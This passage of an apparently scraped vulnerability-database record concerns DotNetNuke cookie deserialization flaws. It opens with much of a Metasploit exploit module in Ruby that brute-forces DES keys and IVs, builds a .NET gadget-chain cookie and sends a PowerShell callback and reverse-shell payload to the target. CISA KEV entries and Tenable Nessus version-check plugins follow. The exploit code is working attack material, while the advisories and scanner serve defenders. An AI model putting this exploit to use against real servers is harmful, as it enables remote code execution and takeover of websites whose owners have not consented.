v9.0.1 - v9.1.1 - May require ENCRYPTED')\n datastore['TARGET'] = 2\n elsif year < 2017 && year > 2008\n print_good('DNN Version Found: v5.1.0 - v9.0.1')\n datastore['TARGET'] = 1\n elsif year == 2008\n print_warning('DNN Version is either v5.0.0 (vulnerable) or 4.9.x (not vulnerable).')\n datastore['TARGET'] = 1\n else\n print_warning('Could not determine DNN version. Target may still be vulnerable. Manually set the Target value')\n end\n end\n\n # ==============================\n # Known plaintext attack to\n # brute-force the encryption key\n # ==============================\n def find_key(cipher_text)\n print_status('Finding Key...')\n\n # Counter\n total_keys = @key_charset.length**8\n i = 1\n\n # Set start time\n start = Time.now\n\n # First char\n @key_charset.each_byte do |a|\n key = a.chr\n # 2\n @key_charset.each_byte do |b|\n key[1] = b.chr\n # 3\n @key_charset.each_byte do |c|\n key[2] = c.chr\n # 4\n @key_charset.each_byte do |d|\n key[3] = d.chr\n # 5\n @key_charset.each_byte do |e|\n key[4] = e.chr\n # 6\n @key_charset.each_byte do |f|\n key[5] = f.chr\n # 7\n @key_charset.each_byte do |g|\n key[6] = g.chr\n # 8\n @key_charset.each_byte do |h|\n key[7] = h.chr\n if decrypt_data_and_iv(@decryptor, cipher_text, String.new(key))\n elapsed = Time.now - start\n print_search_status(i, elapsed, total_keys)\n print_line\n if @target_idx == 4\n print_good(\"Possible Base Key Value Found: #{key}\")\n else\n print_good(\"KEY Found: #{key}\")\n print_good(\"IV Found: #{@passphrase[8..]}\")\n end\n vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))\n vprint_status(format('Time to crack: %<c_time>.3f seconds', c_time: elapsed.to_s))\n return String.new(key)\n end\n # Print timing info every 5 million attempts\n if i % 5000000 == 0\n print_search_status(i, Time.now - start, total_keys)\n end\n i += 1\n end\n end\n end\n end\n end\n end\n end\n end\n elapsed = Time.now - start\n print_search_status(i, elapsed, total_keys)\n print_line\n print_error('Key not found')\n vprint_status(format('Total number of Keys tried: %<n_tried>d', n_tried: i))\n vprint_status(format('Time run: %<r_time>.3f seconds', r_time: elapsed.to_s))\n return nil\n end\n\n # ==================================\n # Attempt to decrypt a ciphertext\n # and obtain the IV at the same time\n # ==================================\n def decrypt_data_and_iv(cipher, cipher_text, key)\n cipher.key = key\n begin\n plaintext = cipher.update(cipher_text) + cipher.final\n if @target_idx == 4\n # Target is v9.2.2+\n user_id = plaintext[8, @user_id_pt_length]\n if @user_id_regex.match(user_id)\n return true\n end\n\n return false\n end\n\n # This should only execute if the version is 9.1.1 - 9.2.1\n iv = plaintext[0, 8]\n if !@iv_regex.match(iv)\n return false\n end\n\n # Build encryption passphrase as DNN does.\n @passphrase = key + iv\n\n # Encrypt the plaintext value using the discovered key and IV\n # and compare with the initial ciphertext\n if cipher_text == encrypt_data(@encryptor, @kpt, @passphrase)\n @passphrases.push(String.new(key + iv))\n return true\n end\n rescue StandardError\n # Ignore decryption errors to allow execution to continue\n return false\n end\n return false\n end\n\n def print_search_status(num_tries, elapsed, max_tries)\n msg = format('Searching at %<s_rate>.3f keys/s ...... %<p_complete>.2f%% of keyspace complete.', s_rate: num_tries / elapsed, p_complete: (num_tries / max_tries.to_f) * 100)\n print(\"\\r%bld%blu[*]%clr #{msg}\")\n end\n\n # ===========================\n # Encrypt data using the same\n # pattern that DNN uses.\n # ===========================\n def encrypt_data(cipher, message, passphrase)\n cipher.key = passphrase[0, 8]\n cipher.iv = passphrase[8, 8]\n return cipher.update(message) + cipher.final\n end\n\n # ===============================================\n # Generate all possible base key values\n # used to create the final passphrase in v9.2.2+.\n # DES weakness allows multiple bytes to be\n # interpreted as the same value.\n # ===============================================\n def generate_base_keys(pos, from_key, new_key)\n if !@unchanged.include? from_key[pos]\n if from_key[pos].even?\n new_key[pos] = (from_key[pos] + 1).chr\n else\n new_key[pos] = (from_key[pos] - 1).chr\n end\n\n if new_key.length == 8\n @possible_keys.add(String.new(new_key))\n\n # also add key with original value\n new_key[pos] = (from_key[pos]).chr\n @possible_keys.add(String.new(new_key))\n else\n generate_base_keys(pos + 1, from_key, String.new(new_key))\n\n # also generate keys with original value\n new_key[pos] = (from_key[pos]).chr\n generate_base_keys(pos + 1, from_key, String.new(new_key))\n end\n else\n new_key[pos] = (from_key[pos]).chr\n if new_key.length == 8\n @possible_keys.add(String.new(new_key))\n else\n generate_base_keys(pos + 1, from_key, String.new(new_key))\n end\n end\n end\n\n # ==============================================\n # Find all possible base IV values\n # used to create the final Encryption passphrase\n # ==============================================\n def find_ivs(cipher_texts, key)\n num_chars = 8 - @kpt.length\n f8regex = /#{@kpt}[0-9a-f]{#{num_chars}}/\n\n @decryptor.key = key\n found_pt = @decryptor.update(cipher_texts[0]) + @decryptor.final\n # Find all possible IVs for the first ciphertext\n brute_force_ivs(String.new(@kpt), num_chars, cipher_texts[0], key, found_pt[8..])\n\n # Reduce IV set by testing against other ciphertexts\n cipher_texts.drop(1).each do |cipher_text|\n @possible_ivs.each do |iv|\n @decryptor.iv = iv\n pt = @decryptor.update(cipher_text) + @decryptor.final\n if !f8regex.match(pt[0, 8])\n @possible_ivs.delete(iv)\n end\n end\n end\n end\n\n # ==========================================\n # A recursive function to find all\n # possible valid IV values using brute-force\n # ==========================================\n def brute_force_ivs(pt_prefix, num_chars_needed, cipher_text, key, found_pt)\n charset = '0123456789abcdef'\n if num_chars_needed == 0\n @decryptor.key = key\n @decryptor.iv = pt_prefix\n pt = @decryptor.update(cipher_text) + @decryptor.final\n iv = pt[0, 8]\n if @iv_regex.match(iv)\n pt = pt_prefix + found_pt\n if encrypt_data(@encryptor, pt, key + iv) == cipher_text\n @possible_ivs.add(String.new(iv))\n end\n end\n return\n end\n charset.length.times do |i|\n brute_force_ivs(String.new(pt_prefix + charset[i]), num_chars_needed - 1, cipher_text, key, found_pt)\n end\n end\n\n # ========================================\n # Generate all possible payload encryption\n # passphrases for a v9.2.2+ target\n # ========================================\n def generate_payload_passphrases\n phrases = Set.new(@passphrases)\n @possible_keys.each do |key|\n @possible_ivs.each do |iv|\n phrase = Rex::Text.encode_base64(\n encrypt_data(@encryptor, key + iv, key + iv)\n )\n phrases.add(String.new(phrase[0, 16]))\n end\n end\n @passphrases = phrases.to_a\n end\n\n # ===========================================\n # Test all generated passphrases by initializing\n # an HTTP server to listen for a callback that\n # contains the index of the successful passphrase.\n # ===========================================\n def test_passphrases\n for i in 0..@passphrases.size - 1\n # Stop sending if we've found the passphrase\n if !@passphrase.empty?\n break\n end\n\n msg = format('Trying KEY and IV combination %<current>d of %<total>d...', current: i + 1, total: @passphrases.size)\n print(\"\\r%bld%blu[*]%clr #{msg}\")\n\n url = \"#{get_uri}?#{get_resource.delete('/')}=#{i}\"\n payload = create_request_payload(url)\n cookie = create_cookie(payload)\n\n # Encrypt cookie value\n enc_cookie = Rex::Text.encode_base64(\n encrypt_data(@encryptor, cookie, @passphrases[i])\n )\n if @dry_run\n print_line\n print_warning('DryRun enabled. No exploit payloads have been sent to the target.')\n print_warning(\"Printing first HTTP callback cookie payload encrypted with KEY: #{@passphrases[i][0, 8]} and IV: #{@passphrases[i][8, 8]}...\")\n print_line(enc_cookie)\n break\n end\n execute_command(enc_cookie, host: datastore['RHOST'])\n end\n end\n\n # ===============================\n # Request handler for HTTP server.\n # ==============================\n def on_request_uri(cli, request)\n # Send 404 to prevent scanner detection\n send_not_found(cli)\n\n # Get found index - should be the only query string parameter\n if request.qstring.size == 1 && request.qstring[get_resource.delete('/').to_s]\n index = request.qstring[get_resource.delete('/').to_s].to_i\n @passphrase = String.new(@passphrases[index])\n end\n end\n\n # ==============================================\n # Create payload to callback to the HTTP server.\n # Note: This technically exploits the\n # vulnerability, but provides a way to determine\n # the valid passphrase needed to exploit again.\n # ==============================================\n def create_request_payload(url)\n # Package payload into serialized object\n payload_object = ::Msf::Util::DotNetDeserialization.generate(\n \"powershell.exe -nop -w hidden -noni -Command \\\"Invoke-WebRequest '#{url}'\\\"\",\n gadget_chain: :TypeConfuseDelegate,\n formatter: :LosFormatter\n )\n\n b64_payload = Rex::Text.encode_base64(payload_object)\n return b64_payload\n end\n\n # =================================\n # Creates the payload cookie\n # using the specified payload\n # =================================\n def create_cookie(payload)\n cookie = '<profile>'\\\n '<item key=\"k\" type=\"System.Data.Services.Internal.ExpandedWrapper`2[[System.Web.UI.ObjectStateFormatter, '\\\n 'System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a],'\\\n '[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, '\\\n 'Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, '\\\n 'Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\">'\\\n '<ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\\\n '<ProjectedProperty0>'\\\n '<MethodName>Deserialize</MethodName>'\\\n '<MethodParameters>'\\\n '<anyType xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" '\\\n 'xmlns:d=\"http://www.w3.org/2001/XMLSchema\" i:type=\"d:string\" '\\\n \">#{payload}</anyType>\"\\\n '</MethodParameters>'\\\n '<ObjectInstance xmlns:i=\"http://www.w3.org/2001/XMLSchema-instance\" '\\\n 'i:type=\"ObjectStateFormatter\" />'\\\n '</ProjectedProperty0>'\\\n '</ExpandedWrapperOfObjectStateFormatterObjectDataProvider>'\\\n '</item>'\\\n '</profile>'\n return cookie\n end\n\n # =========================================\n # Send the payload to the target server.\n # =========================================\n def execute_command(cookie_payload, opts = { dnn_host: host, dnn_port: port })\n uri = normalize_uri(target_uri.path)\n\n res = send_request_cgi(\n 'uri' => uri,\n 'cookie' => \".DOTNETNUKE=#{@session_token};DNNPersonalization=#{cookie_payload};\"\n )\n if !res\n fail_with(Failure::Unreachable, \"#{opts[:host]} - target unreachable.\")\n elsif res.code == 404\n return true\n elsif res.code == 400\n fail_with(Failure::BadConfig, \"#{opts[:host]} - payload resulted in a bad request - #{res.body}\")\n else\n fail_with(Failure::Unknown, \"#{opts[:host]} - Something went wrong- #{res.body}\")\n end\n end\n\n # ======================================\n # Create and send final exploit payload\n # to obtain a reverse shell.\n # ======================================\n def send_exploit_payload\n cmd_payload = create_payload\n cookie_payload = create_cookie(cmd_payload)\n if @encrypted\n if @passphrase.blank?\n print_error('Target requires encrypted payload, but a passphrase was not found or specified.')\n return\n end\n cookie_payload = Rex::Text.encode_base64(\n encrypt_data(@encryptor, cookie_payload, @passphrase)\n )\n end\n if @dry_run\n print_warning('DryRun enabled. No exploit payloads have been sent to the target.')\n print_warning('Printing exploit cookie payload...')\n print_line(cookie_payload)\n return\n end\n\n # Set up the payload handlers\n payload_instance.setup_handler\n\n # Start the payload handler\n payload_instance.start_handler\n\n print_status(\"Sending Exploit Payload to: #{normalize_uri(target_uri.path)} ...\")\n execute_command(cookie_payload, host: datastore['RHOST'])\n end\n\n # ===================================\n # Create final exploit payload based on\n # supplied payload options.\n # ===================================\n def create_payload\n # Create payload\n payload_object = ::Msf::Util::DotNetDeserialization.generate(\n cmd_psh_payload(\n payload.encoded,\n payload_instance.arch.first,\n remove_comspec: true, encode_final_payload: false\n ),\n gadget_chain: :TypeConfuseDelegate,\n formatter: :LosFormatter\n )\n\n b64_payload = Rex::Text.encode_base64(payload_object)\n vprint_status('Payload Object Created.')\n return b64_payload\n end\nend\n", "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/http/dnn_cookie_deserialization_rce.rb", "cvss": {"score": 0.0, "vector": "NONE"}}], "cisa_kev": [{"lastseen": "2022-08-10T17:26:47", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters. NOTE: this issue exists because of an incomplete fix for CVE-2018-15811.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "DotNetNuke 9.2-9.2.2 Encryption Algorithm Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811", "CVE-2018-18325"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2018-18325", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2022-08-10T17:26:47", "description": "DNN (aka DotNetNuke) before 9.1.1 has Remote Code Execution via a cookie, aka \"2017-08 (Critical) Possible remote code execution on DNN sites.\"", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "DotNetNuke before 9.1.1 Remote Code Execution Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2017-9822", "href": "", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2022-08-10T17:26:47", "description": "DNN (aka DotNetNuke) 9.2 through 9.2.1 uses a weak encryption algorithm to protect input parameters.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-11-03T00:00:00", "type": "cisa_kev", "title": "DotNetNuke 9.2-9.2.2 Encryption Algorithm Vulnerability", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811"], "modified": "2021-11-03T00:00:00", "id": "CISA-KEV-CVE-2018-15811", "href": "", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}], "nessus": [{"lastseen": "2023-01-11T14:56:44", "description": "The version of DNN Platform (formerly DotNetNuke) running on the remote host is 9.2 through 9.2.2 uses a weak encryption algorithm to protect input parameters.\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "baseScore": 7.5, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 3.6}, "published": "2021-10-29T00:00:00", "type": "nessus", "title": "DNN (DotNetNuke) 9.2 <= 9.2.2 Weak Encryption Algorithm Vulnerability", "bulletinFamily": "scanner", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "NONE", "integrityImpact": "NONE", "baseScore": 5.0, "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 2.9, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-15811", "CVE-2018-18325"], "modified": "2022-04-11T00:00:00", "cpe": ["cpe:/a:dotnetnuke:dotnetnuke"], "id": "DOTNETNUKE_9_3_1_WEAK_ENCRYPTION.NASL", "href": "https://www.tenable.com/plugins/nessus/154728", "sourceData": "#%NASL_MIN_LEVEL 70300\n##\n# (C) Tenable Network Security, Inc.\n##\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(154728);\n script_version(\"1.6\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/11\");\n\n script_cve_id(\"CVE-2018-15811\", \"CVE-2018-18325\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n\n script_name(english:\"DNN (DotNetNuke) 9.2 <= 9.2.2 Weak Encryption Algorithm Vulnerability\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains an ASP.NET application that is affected by weak encryption algorithm vulnerability.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of DNN Platform (formerly DotNetNuke) running on the remote host is 9.2 through 9.2.2 uses a weak \nencryption algorithm to protect input parameters.\n\nNote that Nessus has not tested for this issue but has instead relied only on the application's self-reported version\nnumber.\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.dnnsoftware.com/community/security/security-center\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to DNN Platform version 9.3.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:N/C:P/I:N/A:N\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2018-18325\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'DotNetNuke Cookie Deserialization Remote Code Excecution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2019/07/03\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2019/04/03\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2021/10/29\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:dotnetnuke:dotnetnuke\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2021-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"dotnetnuke_detect.nasl\");\n script_require_keys(\"installed_sw/DNN\");\n script_require_ports(\"Services/www\", 80);\n\n exit(0);\n}\n\ninclude('http.inc');\ninclude('vcf.inc');\n\nvar port = get_http_port(default:80, asp:TRUE);\nvar app_info = vcf::get_app_info(app:'DNN', port:port, webapp:TRUE);\nvcf::check_granularity(app_info:app_info, sig_segments:3);\n\nvar constraints = [\n {'min_version' : '9.2.0', 'max_version': '9.2.2', 'fixed_version' : '9.3.1' }\n];\nvcf::check_version_and_report(app_info:app_info, constraints:constraints, severity:SECURITY_WARNING);\n", "cvss": {"score": 5.0, "vector": "AV:N/AC:L/Au:N/C:P/I:N/A:N"}}, {"lastseen": "2023-01-10T19:27:44", "description": "DotNetNuke CMS versions 5.0.0 to 9.1.0 are affected by an insecure deserialization vulnerability that leads to Remote Code Execution (RCE). DotNetNuke uses the DNNPersonalization cookie to store anonymous users personalization options. This cookie is used when the application serves a custom 404 Error page, which is the default settings.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2022-09-06T00:00:00", "type": "nessus", "title": "DotNetNuke 5.x < 9.1.1 Remote Code Execution", "bulletinFamily": "scanner", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2022-09-06T00:00:00", "cpe": ["cpe:2.3:a:dnnsoftware:dotnetnuke:*:*:*:*:*:*:*:*"], "id": "WEB_APPLICATION_SCANNING_113335", "href": "https://www.tenable.com/plugins/was/113335", "sourceData": "No source data", "cvss": {"score": 6.5, "vector": "AV:N/AC:L/Au:S/C:P/I:P/A:P"}}, {"lastseen": "2023-01-11T14:29:39", "description": "The version of DNN Platform (formerly DotNetNuke) running on the remote host is 5.2.0 or later but prior to 9.1.1. It is, therefore, affected by multiple vulnerabilities :\n\n - A remote code execution vulnerability exists due to insecure use of web cookies to identify users. An unauthenticated, remote attacker can exploit this, by impersonating a user and uploading malicious code to the server, to execute arbitrary code. This vulnerability affects all versions from 7.0.0 to 9.1.0.\n\n - A flaw exists due to an overly permissive HTML5 message posting policy when handling cross-document messaging.\n An unauthenticated, remote attacker can exploit this to conduct a spoofing attack or to disclose sensitive information. This vulnerability affects all versions from 8.0.0 to 9.1.0.\n\n - A cross-site redirection vulnerability exists due to improper validation of user-supplied input before returning it to users. An unauthenticated, remote attacker can exploit this, by convincing a user to follow a specially crafted link, to redirect users to a website of the attacker's choosing. This vulnerability affects all versions from 7.0.0 to 9.1.0.\n\n - A remote code execution vulnerability exists due to a failure to properly validate file types and extensions for uploaded files before placing them in a user-accessible path. An authenticated, remote attacker can exploit this to execute arbitrary code with the privileges of the web service. This vulnerability affects all versions from 5.2.0 to 9.1.0.\n\nNote that Nessus has not tested for these issues but has instead relied only on the application's self-reported version number.", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2017-07-12T00:00:00", "type": "nessus", "title": "DNN (DotNetNuke) 5.2.0 < 9.1.1 Multiple Vulnerabilities", "bulletinFamily": "scanner", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.5, "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 6.4, "acInsufInfo": true, "obtainUserPrivilege": false}, "cvelist": ["CVE-2017-9822"], "modified": "2022-04-11T00:00:00", "cpe": ["cpe:/a:dotnetnuke:dotnetnuke"], "id": "DOTNETNUKE_9_1_1.NASL", "href": "https://www.tenable.com/plugins/nessus/101397", "sourceData": "#%NASL_MIN_LEVEL 70300\n#\n# (C) Tenable Network Security, Inc.\n#\n\ninclude('deprecated_nasl_level.inc');\ninclude('compat.inc');\n\nif (description)\n{\n script_id(101397);\n script_version(\"1.14\");\n script_set_attribute(attribute:\"plugin_modification_date\", value:\"2022/04/11\");\n\n script_cve_id(\"CVE-2017-9822\");\n script_xref(name:\"CISA-KNOWN-EXPLOITED\", value:\"2022/05/03\");\n\n script_name(english:\"DNN (DotNetNuke) 5.2.0 < 9.1.1 Multiple Vulnerabilities\");\n\n script_set_attribute(attribute:\"synopsis\", value:\n\"The remote web server contains an ASP.NET application that is affected\nby multiple vulnerabilities.\");\n script_set_attribute(attribute:\"description\", value:\n\"The version of DNN Platform (formerly DotNetNuke) running on the\nremote host is 5.2.0 or later but prior to 9.1.1. It is, therefore,\naffected by multiple vulnerabilities :\n\n - A remote code execution vulnerability exists due to\n insecure use of web cookies to identify users. An\n unauthenticated, remote attacker can exploit this, by\n impersonating a user and uploading malicious code to the\n server, to execute arbitrary code. This vulnerability\n affects all versions from 7.0.0 to 9.1.0.\n\n - A flaw exists due to an overly permissive HTML5 message\n posting policy when handling cross-document messaging.\n An unauthenticated, remote attacker can exploit this to\n conduct a spoofing attack or to disclose sensitive\n information. This vulnerability affects all versions\n from 8.0.0 to 9.1.0.\n\n - A cross-site redirection vulnerability exists due to\n improper validation of user-supplied input before\n returning it to users. An unauthenticated, remote\n attacker can exploit this, by convincing a user to\n follow a specially crafted link, to redirect users to a\n website of the attacker's choosing. This vulnerability\n affects all versions from 7.0.0 to 9.1.0.\n\n - A remote code execution vulnerability exists due to a\n failure to properly validate file types and extensions\n for uploaded files before placing them in a\n user-accessible path. An authenticated, remote attacker\n can exploit this to execute arbitrary code with the\n privileges of the web service. This vulnerability\n affects all versions from 5.2.0 to 9.1.0.\n\nNote that Nessus has not tested for these issues but has instead\nrelied only on the application's self-reported version number.\");\n # https://www.dnnsoftware.com/community-blog/cid/155437/dnn-911-security-bulletin-released\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?a950f08f\");\n script_set_attribute(attribute:\"see_also\", value:\"https://www.dnnsoftware.com/community/security/security-center\");\n # https://www.f5.com/labs/articles/threat-intelligence/zealot-new-apache-struts-campaign-uses-eternalblue-and-eternalsynergy-to-mine-monero-on-internal-networks\n script_set_attribute(attribute:\"see_also\", value:\"http://www.nessus.org/u?1d53b62d\");\n script_set_attribute(attribute:\"solution\", value:\n\"Upgrade to DNN Platform version 9.1.1 or later.\");\n script_set_cvss_base_vector(\"CVSS2#AV:N/AC:L/Au:S/C:P/I:P/A:P\");\n script_set_cvss_temporal_vector(\"CVSS2#E:H/RL:OF/RC:C\");\n script_set_cvss3_base_vector(\"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\");\n script_set_cvss3_temporal_vector(\"CVSS:3.0/E:H/RL:O/RC:C\");\n script_set_attribute(attribute:\"cvss_score_source\", value:\"CVE-2017-9822\");\n\n script_set_attribute(attribute:\"exploitability_ease\", value:\"Exploits are available\");\n script_set_attribute(attribute:\"exploit_available\", value:\"true\");\n script_set_attribute(attribute:\"metasploit_name\", value:'DotNetNuke Cookie Deserialization Remote Code Excecution');\n script_set_attribute(attribute:\"exploit_framework_metasploit\", value:\"true\");\n\n script_set_attribute(attribute:\"vuln_publication_date\", value:\"2017/07/05\");\n script_set_attribute(attribute:\"patch_publication_date\", value:\"2017/07/05\");\n script_set_attribute(attribute:\"plugin_publication_date\", value:\"2017/07/12\");\n\n script_set_attribute(attribute:\"plugin_type\", value:\"remote\");\n script_set_attribute(attribute:\"cpe\", value:\"cpe:/a:dotnetnuke:dotnetnuke\");\n script_set_attribute(attribute:\"thorough_tests\", value:\"true\");\n script_end_attributes();\n\n script_category(ACT_GATHER_INFO);\n script_family(english:\"CGI abuses\");\n\n script_copyright(english:\"This script is Copyright (C) 2017-2022 and is owned by Tenable, Inc. or an Affiliate thereof.\");\n\n script_dependencies(\"dotnetnuke_detect.nasl\");\n script_require_keys(\"installed_sw/DNN\");\n script_require_ports(\"Services/www\", 80);\n\n 